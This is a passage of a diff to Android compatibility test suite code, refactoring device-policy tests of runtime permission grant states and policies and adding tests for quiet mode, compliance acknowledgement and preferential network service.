-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-    }
-
-    public void testPermissionUpdate_setAutoGrantedPolicy() throws Exception {
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-    }
-
-    public void testPermissionUpdate_checkGranted() throws Exception {
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-        assertPermissionGrantState(PackageManager.PERMISSION_GRANTED);
-    }
-
-    public void testPermissionGrantStateAppPreMDeviceAdminPreQ() throws Exception {
-        // These tests are to make sure that pre-M apps are not granted/denied runtime permissions
-        // by a profile owner that targets pre-Q
-        assertCannotSetPermissionGrantStateAppPreM(
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-        assertCannotSetPermissionGrantStateAppPreM(
-                DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-    }
-
-    public void testPermissionGrantStatePreMApp() throws Exception {
-        // These tests are to make sure that pre-M apps can be granted/denied runtime permissions
-        // by a profile owner targets Q or later
-        assertCanSetPermissionGrantStateAppPreM(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-        assertCanSetPermissionGrantStateAppPreM(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-    }
-
-    public void testPermissionGrantState_developmentPermission() throws Exception {
-        assertFailedToSetDevelopmentPermissionGrantState(
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-        assertFailedToSetDevelopmentPermissionGrantState(
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        assertFailedToSetDevelopmentPermissionGrantState(
-                DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-    }
-
-    public void testUserNotifiedOfLocationPermissionGrant() throws Exception {
+    public void testPermissionGrantStateGranted_userNotifiedOfLocationPermission()
+            throws Exception {
         for (String locationPermission : LOCATION_PERMISSIONS) {
-            CountDownLatch notificationLatch = initLocationPermissionNotificationLatch();
+            // TODO(b/161359841): move NotificationListener to app/common
+            CountDownLatch notificationLatch = initPermissionNotificationLatch();
 
-            assertSetPermissionGrantState(locationPermission,
-                    DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
+            setPermissionGrantState(locationPermission, PERMISSION_GRANT_STATE_GRANTED);
 
-            assertPermissionGrantState(locationPermission, PackageManager.PERMISSION_GRANTED);
+            assertPermissionGrantState(locationPermission, PERMISSION_GRANT_STATE_GRANTED);
             assertTrue(String.format("Did not receive notification for permission %s",
                     locationPermission), notificationLatch.await(60, TimeUnit.SECONDS));
             NotificationListener.getInstance().clearListeners();
         }
     }
 
-    private void assertPermissionRequest(int expected) throws Exception {
-        assertPermissionRequest(READ_CONTACTS, expected);
+    public void testPermissionGrantState_developmentPermission() {
+        assertCannotSetPermissionGrantStateDevelopmentPermission(PERMISSION_GRANT_STATE_DENIED);
+        assertCannotSetPermissionGrantStateDevelopmentPermission(PERMISSION_GRANT_STATE_DEFAULT);
+        assertCannotSetPermissionGrantStateDevelopmentPermission(PERMISSION_GRANT_STATE_GRANTED);
     }
 
-    private void assertPermissionRequest(String permission, int expected) throws Exception {
-        assertPermissionRequest(permission, expected, null);
+    private void assertCannotSetPermissionGrantStateDevelopmentPermission(int value) {
+        unableToSetPermissionGrantState(DEVELOPMENT_PERMISSION, value);
+
+        assertPermissionGrantState(DEVELOPMENT_PERMISSION, PERMISSION_GRANT_STATE_DEFAULT);
+        PermissionUtils.checkPermission(DEVELOPMENT_PERMISSION, PERMISSION_DENIED,
+                PERMISSION_APP_PACKAGE_NAME);
     }
 
-    private void assertPermissionRequest(int expected, String buttonResource)
+    public void testPermissionGrantState_preMApp_preQDeviceAdmin() throws Exception {
+        // These tests are to make sure that pre-M apps are not granted/denied runtime permissions
+        // by a profile owner that targets pre-Q
+        assertCannotSetPermissionGrantStatePreMApp(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
+        assertCannotSetPermissionGrantStatePreMApp(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
+    }
+
+    private void assertCannotSetPermissionGrantStatePreMApp(String permission, int value)
             throws Exception {
-        assertPermissionRequest(READ_CONTACTS, expected, buttonResource);
+        assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PRE_M_APP_PACKAGE_NAME, permission, value));
+        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PRE_M_APP_PACKAGE_NAME, permission), PERMISSION_GRANT_STATE_DEFAULT);
+
+        // Install runtime permissions should always be granted
+        PermissionUtils.checkPermission(permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME);
+        PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_GRANTED,
+                PRE_M_APP_PACKAGE_NAME);
     }
 
-    private void assertSetPermissionGrantState(int value) throws Exception {
-        assertSetPermissionGrantState(READ_CONTACTS, value);
+    public void testPermissionGrantState_preMApp() throws Exception {
+        // These tests are to make sure that pre-M apps can be granted/denied runtime permissions
+        // by a profile owner targets Q or later
+        assertCanSetPermissionGrantStatePreMApp(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
+        assertCanSetPermissionGrantStatePreMApp(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
     }
 
-    private void assertPermissionGrantState(int expected) throws Exception {
-        assertPermissionGrantState(READ_CONTACTS, expected);
-    }
-
-    private void assertCannotSetPermissionGrantStateAppPreM(int value) throws Exception {
-        assertCannotSetPermissionGrantStateAppPreM(READ_CONTACTS, value);
-    }
-
-    private void assertCanSetPermissionGrantStateAppPreM(int value) throws Exception {
-        assertCanSetPermissionGrantStateAppPreM(READ_CONTACTS, value);
-    }
-
-    private void assertPermissionRequest(String permission, int expected, String buttonResource)
+    private void assertCanSetPermissionGrantStatePreMApp(String permission, int value)
             throws Exception {
-        Intent launchIntent = new Intent();
-        launchIntent.setComponent(new ComponentName(PERMISSION_APP_PACKAGE_NAME,
-                PERMISSIONS_ACTIVITY_NAME));
-        launchIntent.putExtra(EXTRA_PERMISSION, permission);
-        launchIntent.setAction(ACTION_REQUEST_PERMISSION);
-        launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
-        mContext.startActivity(launchIntent);
-        pressPermissionPromptButton(buttonResource);
-        assertEquals(expected, mReceiver.waitForBroadcast());
-        assertEquals(expected, mPackageManager.checkPermission(permission,
-                PERMISSION_APP_PACKAGE_NAME));
-    }
-
-    private void assertPermissionGrantState(String permission, int expected) throws Exception {
-        assertEquals(expected, mPackageManager.checkPermission(permission,
-                PERMISSION_APP_PACKAGE_NAME));
-        Intent launchIntent = new Intent();
-        launchIntent.setComponent(new ComponentName(PERMISSION_APP_PACKAGE_NAME,
-                PERMISSIONS_ACTIVITY_NAME));
-        launchIntent.putExtra(EXTRA_PERMISSION, permission);
-        launchIntent.setAction(ACTION_CHECK_HAS_PERMISSION);
-        launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
-        mContext.startActivity(launchIntent);
-        assertEquals(expected, mReceiver.waitForBroadcast());
-    }
-
-    private void assertSetPermissionPolicy(int value) throws Exception {
-        mDevicePolicyManager.setPermissionPolicy(ADMIN_RECEIVER_COMPONENT,
-                value);
-        assertEquals(mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT),
-                value);
-    }
-
-    private void assertSetPermissionGrantState(String permission, int value) throws Exception {
-        mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, permission,
-                value);
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, permission),
-                value);
-    }
-
-    private void assertFailedToSetDevelopmentPermissionGrantState(int value) throws Exception {
-        assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, DEVELOPMENT_PERMISSION, value));
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, DEVELOPMENT_PERMISSION),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        assertEquals(mPackageManager.checkPermission(DEVELOPMENT_PERMISSION,
-                PERMISSION_APP_PACKAGE_NAME),
-                PackageManager.PERMISSION_DENIED);
-    }
-
-    private void assertCannotSetPermissionGrantStateAppPreM(String permission, int value) throws Exception {
-        assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, permission,
-                value));
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, permission),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-
-        // Install time permissions should always be granted
-        PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, 0);
-        assertEquals(PERMISSION_GRANTED,
-                checkPermission(permission, packageInfo.applicationInfo.uid,
-                        SIMPLE_PRE_M_APP_PACKAGE_NAME));
-    }
-
-    private void assertCanSetPermissionGrantStateAppPreM(String permission, int value) throws Exception {
         assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, permission,
-                value));
+                PRE_M_APP_PACKAGE_NAME, permission, value));
         assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, permission),
-                value);
+                PRE_M_APP_PACKAGE_NAME, permission), value);
 
         // Install time permissions should always be granted
-        assertEquals(mPackageManager.checkPermission(permission,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME),
-                PackageManager.PERMISSION_GRANTED);
-
-        PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, 0);
+        PermissionUtils.checkPermission(permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME);
 
         // For pre-M apps the access to the data might be prevented via app-ops. Hence check that
         // they are correctly set
-        boolean isGranted = (checkPermission(permission, packageInfo.applicationInfo.uid,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME) == PERMISSION_GRANTED);
         switch (value) {
-            case DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED:
-                assertTrue(isGranted);
+            case PERMISSION_GRANT_STATE_GRANTED:
+                PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_GRANTED,
+                        PRE_M_APP_PACKAGE_NAME);
                 break;
-            case DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED:
-                assertFalse(isGranted);
+            case PERMISSION_GRANT_STATE_DENIED:
+                PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_DENIED,
+                        PRE_M_APP_PACKAGE_NAME);
                 break;
             default:
                 fail("unsupported policy value");
         }
     }
 
-    private void pressPermissionPromptButton(String resName) throws Exception {
-        if (resName == null) {
-            return;
-        }
+    public void testPermissionPolicyAutoDeny() throws Exception {
+        setPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
 
-        BySelector selector = By
-                .clazz(android.widget.Button.class.getName())
-                .res("com.android.packageinstaller", resName);
-        mDevice.wait(Until.hasObject(selector), 5000);
-        UiObject2 button = mDevice.findObject(selector);
-        assertNotNull("Couldn't find button with resource id: " + resName, button);
-        button.click();
+        assertPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+        assertCannotRequestPermissionFromActivity(READ_CONTACTS);
     }
 
-    private class PermissionBroadcastReceiver extends BroadcastReceiver {
-        private BlockingQueue<Integer> mQueue = new ArrayBlockingQueue<Integer> (1);
+    public void testPermissionPolicyAutoDeny_permissionLocked() throws Exception {
+        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
+        int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+        try {
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DEFAULT);
+            testPermissionPolicyAutoDeny();
 
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            Integer result = new Integer(intent.getIntExtra(EXTRA_GRANT_STATE, PERMISSION_ERROR));
-            Log.d(TAG, "Grant state received " + result);
-            assertTrue(mQueue.add(result));
-        }
+            // Permission should be locked, so changing the policy should not change the grant state
+            setPermissionPolicy(PERMISSION_POLICY_PROMPT);
 
-        public int waitForBroadcast() throws Exception {
-            Integer result = mQueue.poll(30, TimeUnit.SECONDS);
-            mQueue.clear();
-            assertNotNull(result);
-            Log.d(TAG, "Grant state retrieved " + result.intValue());
-            return result.intValue();
+            assertPermissionPolicy(PERMISSION_POLICY_PROMPT);
+            assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+            assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(READ_CONTACTS, grantState);
+            setPermissionPolicy(permissionPolicy);
         }
     }
 
-    private CountDownLatch initLocationPermissionNotificationLatch() {
+    public void testPermissionPolicyAutoGrant() throws Exception {
+        setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+
+        assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+        assertCanRequestPermissionFromActivity(READ_CONTACTS);
+    }
+
+    public void testPermissionPolicyAutoGrant_permissionLocked() throws Exception {
+        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
+        int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+        try {
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DEFAULT);
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+
+            // permission should be locked, so changing the policy should not change the grant state
+            setPermissionPolicy(PERMISSION_POLICY_PROMPT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_PROMPT);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(READ_CONTACTS, grantState);
+            setPermissionPolicy(permissionPolicy);
+        }
+    }
+
+    public void testPermissionPolicyAutoGrant_multiplePermissionsInGroup() throws Exception {
+        setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+
+        // Both permissions should be granted
+        assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+        assertCanRequestPermissionFromActivity(READ_CONTACTS);
+        assertCanRequestPermissionFromActivity(WRITE_CONTACTS);
+    }
+
+    public void testCannotRequestPermission() throws Exception {
+        assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+    }
+
+    public void testCanRequestPermission() throws Exception {
+        assertCanRequestPermissionFromActivity(READ_CONTACTS);
+    }
+
+    public void testPermissionPrompts() throws Exception {
+        // register a crash watcher
+        mDevice.registerWatcher(CRASH_WATCHER_ID, () -> {
+            UiObject2 button = mDevice.findObject(CRASH_POPUP_BUTTON_SELECTOR);
+            if (button != null) {
+                UiObject2 text = mDevice.findObject(CRASH_POPUP_TEXT_SELECTOR);
+                Log.d(TAG, "Removing an error dialog: " + text != null ? text.getText() : null);
+                button.click();
+                return true;
+            }
+            return false;
+        });
+        mDevice.runWatchers();
+        setPermissionPolicy(PERMISSION_POLICY_PROMPT);
+
+        assertPermissionPolicy(PERMISSION_POLICY_PROMPT);
+        PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice, READ_CONTACTS,
+                PERMISSION_DENIED, PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+        PermissionUtils.checkPermission(READ_CONTACTS, PERMISSION_DENIED,
+                PERMISSION_APP_PACKAGE_NAME);
+        PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice, READ_CONTACTS,
+                PERMISSION_GRANTED, PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+        PermissionUtils.checkPermission(READ_CONTACTS, PERMISSION_GRANTED,
+                PERMISSION_APP_PACKAGE_NAME);
+    }
+
+    public void testSensorsRelatedPermissionsCannotBeGranted() throws Exception {
+        for (String sensorPermission: SENSORS_PERMISSIONS) {
+            // The permission cannot be granted.
+            assertFailedToSetPermissionGrantState(
+                    sensorPermission, DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
+            // But the user can grant it.
+            PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice, sensorPermission,
+                    PERMISSION_GRANTED, PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+
+            // And the package manager should show it as granted.
+            PermissionUtils.checkPermission(sensorPermission, PERMISSION_GRANTED,
+                    PERMISSION_APP_PACKAGE_NAME);
+        }
+    }
+
+    public void testSensorsRelatedPermissionsCanBeDenied() throws Exception {
+        for (String sensorPermission: SENSORS_PERMISSIONS) {
+            // The permission can be denied
+            setPermissionGrantState(sensorPermission, PERMISSION_GRANT_STATE_DENIED);
+
+            assertPermissionGrantState(sensorPermission, PERMISSION_GRANT_STATE_DENIED);
+            assertCannotRequestPermissionFromActivity(sensorPermission);
+        }
+    }
+
+    public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
+        setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+        for (String sensorPermission: SENSORS_PERMISSIONS) {
+            // The permission is not granted by default.
+            PermissionUtils.checkPermission(sensorPermission, PERMISSION_DENIED,
+                    PERMISSION_APP_PACKAGE_NAME);
+            // But the user can grant it.
+            PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice, sensorPermission,
+                    PERMISSION_GRANTED, PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+
+            // And the package manager should show it as granted.
+            PermissionUtils.checkPermission(sensorPermission, PERMISSION_GRANTED,
+                    PERMISSION_APP_PACKAGE_NAME);
+        }
+    }
+
+    public void testStateOfSensorsRelatedPermissionsCannotBeRead() throws Exception {
+        for (String sensorPermission: SENSORS_PERMISSIONS) {
+            // The admin tries to grant the permission.
+            setPermissionGrantState(sensorPermission, PERMISSION_GRANT_STATE_GRANTED);
+
+            // But the user denies it.
+            PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice, sensorPermission,
+                    PERMISSION_DENIED, PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+
+            // And the admin cannot learn of it.
+            assertPermissionGrantState(sensorPermission, PERMISSION_GRANT_STATE_DEFAULT);
+        }
+    }
+
+    private void assertFailedToSetPermissionGrantState(String permission, int value) {
+        assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, permission, value));
+        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, permission),
+                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+        assertEquals(mContext.getPackageManager().checkPermission(permission,
+                PERMISSION_APP_PACKAGE_NAME),
+                PackageManager.PERMISSION_DENIED);
+    }
+
+    private CountDownLatch initPermissionNotificationLatch() {
         CountDownLatch notificationCounterLatch = new CountDownLatch(1);
         NotificationListener.getInstance().addListener((notification) -> {
             if (notification.getPackageName().equals(
-                    mPackageManager.getPermissionControllerPackageName()) &&
+                    mContext.getPackageManager().getPermissionControllerPackageName()) &&
                     notification.getNotification().getChannelId().equals(
                             AUTO_GRANTED_PERMISSIONS_CHANNEL_ID)) {
                 notificationCounterLatch.countDown();
@@ -501,4 +510,51 @@
         });
         return notificationCounterLatch;
     }
+
+    private void setPermissionPolicy(int permissionPolicy) {
+        mDevicePolicyManager.setPermissionPolicy(ADMIN_RECEIVER_COMPONENT, permissionPolicy);
+    }
+
+    private boolean setPermissionGrantState(String permission, int grantState) {
+        return mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, permission, grantState);
+    }
+
+    private void unableToSetPermissionGrantState(String permission, int grantState) {
+        assertFalse(setPermissionGrantState(permission, grantState));
+    }
+
+    private void assertPermissionGrantState(String permission, int grantState) {
+        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, permission), grantState);
+    }
+
+    private void assertPermissionPolicy(int permissionPolicy) {
+        assertEquals(mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT),
+                permissionPolicy);
+    }
+
+    private void assertCanRequestPermissionFromActivity(String permission) throws Exception {
+        PermissionUtils.launchActivityAndRequestPermission(
+                mReceiver, permission, PERMISSION_GRANTED,
+                PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+    }
+
+    private void assertCannotRequestPermissionFromActivity(String permission) throws Exception {
+        PermissionUtils.launchActivityAndRequestPermission(
+                mReceiver, permission, PERMISSION_DENIED,
+                PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+    }
+
+    private void assertHasPermissionFromActivity(String permission) throws Exception {
+        PermissionUtils.launchActivityAndCheckPermission(
+                mReceiver, permission, PERMISSION_GRANTED,
+                PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+    }
+
+    private void assertNoPermissionFromActivity(String permission) throws Exception {
+        PermissionUtils.launchActivityAndCheckPermission(
+                mReceiver, permission, PERMISSION_DENIED,
+                PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PersonalAppsSuspensionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PersonalAppsSuspensionTest.java
index 28fd485..6fcd364 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PersonalAppsSuspensionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PersonalAppsSuspensionTest.java
@@ -16,11 +16,19 @@
 
 package com.android.cts.deviceandprofileowner;
 
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.BasicAdminReceiver.COMPLIANCE_ACK_PREF_KEY_BCAST_RECEIVED;
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.BasicAdminReceiver.COMPLIANCE_ACK_PREF_KEY_OVERRIDE;
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.BasicAdminReceiver.COMPLIANCE_ACK_PREF_NAME;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
+import android.content.SharedPreferences;
+import android.os.Process;
+import android.os.UserHandle;
+import android.os.UserManager;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -28,6 +36,9 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
 /**
  * Test for personal app suspension APIs available to POs on organization owned devices.
  */
@@ -57,6 +68,66 @@
     }
 
     @Test
+    public void testSetManagedProfileMaximumTimeOff1Year() {
+        mDpm.setManagedProfileMaximumTimeOff(ADMIN, TimeUnit.DAYS.toMillis(365));
+    }
+
+    @Test
+    public void testEnableQuietMode() {
+        requestQuietModeEnabledForProfile(true);
+    }
+
+    @Test
+    public void testDisableQuietMode() {
+        requestQuietModeEnabledForProfile(false);
+    }
+
+    private void requestQuietModeEnabledForProfile(boolean enabled) {
+        final UserManager userManager = UserManager.get(mContext);
+        final List<UserHandle> users = userManager.getUserProfiles();
+
+        // Should get primary user itself and its profile.
+        assertThat(users.size()).isEqualTo(2);
+        final UserHandle profileHandle =
+                users.get(0).equals(Process.myUserHandle()) ? users.get(1) : users.get(0);
+
+        userManager.requestQuietModeEnabled(enabled, profileHandle);
+    }
+
+    @Test
+    public void testComplianceAcknowledgementRequiredReceived() {
+        final SharedPreferences pref =
+                mContext.getSharedPreferences(COMPLIANCE_ACK_PREF_NAME, Context.MODE_PRIVATE);
+        assertThat(pref.getBoolean(COMPLIANCE_ACK_PREF_KEY_BCAST_RECEIVED, false)).isTrue();
+    }
+
+    @Test
+    public void testSetOverrideOnComplianceAcknowledgementRequired() {
+        final SharedPreferences pref =
+                mContext.getSharedPreferences(COMPLIANCE_ACK_PREF_NAME, Context.MODE_PRIVATE);
+        pref.edit().putBoolean(COMPLIANCE_ACK_PREF_KEY_OVERRIDE, true).commit();
+    }
+
+    @Test
+    public void testComplianceAcknowledgementNotRequired() {
+        assertThat(mDpm.isComplianceAcknowledgementRequired()).isFalse();
+    }
+
+    @Test
+    public void testAcknowledgeCompliance() {
+        assertThat(mDpm.isComplianceAcknowledgementRequired()).isTrue();
+        mDpm.acknowledgeDeviceCompliant();
+        assertThat(mDpm.isComplianceAcknowledgementRequired()).isFalse();
+    }
+
+    @Test
+    public void testClearComplianceSharedPreference() {
+        final SharedPreferences pref =
+                mContext.getSharedPreferences(COMPLIANCE_ACK_PREF_NAME, Context.MODE_PRIVATE);
+        pref.edit().clear().commit();
+    }
+
+    @Test
     public void testSetManagedProfileMaximumTimeOff() {
         final long timeout = 123456789;
         mDpm.setManagedProfileMaximumTimeOff(ADMIN, timeout);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PreferentialNetworkServiceStatusTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PreferentialNetworkServiceStatusTest.java
new file mode 100644
index 0000000..191704a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PreferentialNetworkServiceStatusTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+public class PreferentialNetworkServiceStatusTest extends BaseDeviceAdminTest {
+    private static final String TAG = "PreferentialNetworkServiceStatusTest";
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    public void testGetSetPreferentialNetworkServiceStatus() throws Exception {
+        // Assert default status is true
+        assertTrue(mDevicePolicyManager.isPreferentialNetworkServiceEnabled());
+
+        mDevicePolicyManager.setPreferentialNetworkServiceEnabled(false);
+        assertFalse(mDevicePolicyManager.isPreferentialNetworkServiceEnabled());
+
+        mDevicePolicyManager.setPreferentialNetworkServiceEnabled(true);
+        assertTrue(mDevicePolicyManager.isPreferentialNetworkServiceEnabled());
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index 7ab2e9d..a1ccb12 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -15,6 +15,10 @@
  */
 package com.android.cts.deviceandprofileowner;
 
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_LOW;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_MEDIUM;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC;
